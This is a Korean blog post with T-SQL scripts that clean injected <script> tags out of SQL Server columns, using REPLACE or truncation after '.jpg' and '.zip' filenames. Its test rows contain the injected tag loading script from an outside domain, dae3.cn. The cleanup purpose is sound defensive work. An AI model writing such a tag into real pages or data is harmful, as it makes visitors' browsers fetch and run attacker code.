뒤에 붙은 스크립트가 같은 것이 반복되느냐 아니냐, 그리고, 컬럼이 text 인지 일반 char 인지 확인해서 참고해서 적용하시면 되겠습니다.
-- 테스트환경.
CREATE TABLE Test
(A varchar(1000) NULL)
GO
INSERT Test (A)
VALUES ('asdfdas.jpg<script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script>')
GO
INSERT Test (A)
VALUES ('asdfadsf.zip<script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script><script src=http://dae3.cn></script>')
GO
INSERT Test (A)
VALUES ('dfdasfdasf.jpgsdkaf')
GO
INSERT Test (A)
VALUES ('dsfasfdasf.zipdedfg')
GO
SELECT * FROM Test
GO
/* 반복되는스크립트가일정할때. 컬럼이TEXT 타입인경우, VARCHAR 으로형변환후함.
SQL Server 2000 의경우VARCHAR(8000) 이최대길이이므로, 최대길이는비교해보고해야함
*/
UPDATE Test
SET A = REPLACE(CONVERT(VARCHAR(8000),A) , '<script src=http://dae3.cn></script>', '')
-- 반복되는스크립트가일정하지않고, 특정파일뒤에만짜르고싶은경우. 컬럼이TEXT 일경우
UPDATE Test
SET A = LEFT(CONVERT(VARCHAR(8000),A),CHARINDEX( '.jpg',CONVERT(VARCHAR(8000),A))+3)
WHERE CHARINDEX( '.jpg',CONVERT(VARCHAR(8000),A)) > 0
UPDATE Test
SET A = LEFT(CONVERT(VARCHAR(8000),A),CHARINDEX( '.zip',CONVERT(VARCHAR(8000),A))+3)
WHERE CHARINDEX( '.zip',CONVERT(VARCHAR(8000),A)) > 0
-- 반복되는스크립트가일정할때. 컬럼이그냥일반char , varchar 등일경우.
UPDATE Test
SET A = REPLACE(A , '<script src=http://dae3.cn></script>', '')
-- 반복되는스크립트가일정하지않고, 특정파일뒤에만짜르고싶은경우.
UPDATE Test
SET A = LEFT(A,CHARINDEX( '.jpg',A)+3)
WHERE CHARINDEX( '.jpg',A) > 0
UPDATE Test
SET A = LEFT(A,CHARINDEX( '.zip',A)+3)
WHERE CHARINDEX( '.zip',A) > 0
/*
asdfdas.jpg
asdfadsf.zip
dfdasfdasf.jpg
dsfasfdasf.zip
*/
SELECT * INTO와 INSERT INTO SELECT..의 차이점 (0) | 2009.04.18 |
---|---|
SQL Server 2008 - 대량 가져오기 및 내보내기 작업 정보 (0) | 2009.03.21 |
MS-SQL 2005 로 XML 생성해 보기 (3) | 2009.03.12 |
MS-SQL 2005 에서 XML 값 추출해오기 (0) | 2009.03.12 |
DTS 로 테이블 정보 엑셀 내보내기 - SQL Server Business Intelligence Development Studio (0) | 2009.03.03 |
SQL QUERY 특정 위치, 특정 문자 제거하기 (0) | 2009.02.12 |
본문과 관련 있는 내용으로 댓글을 남겨주시면 감사하겠습니다.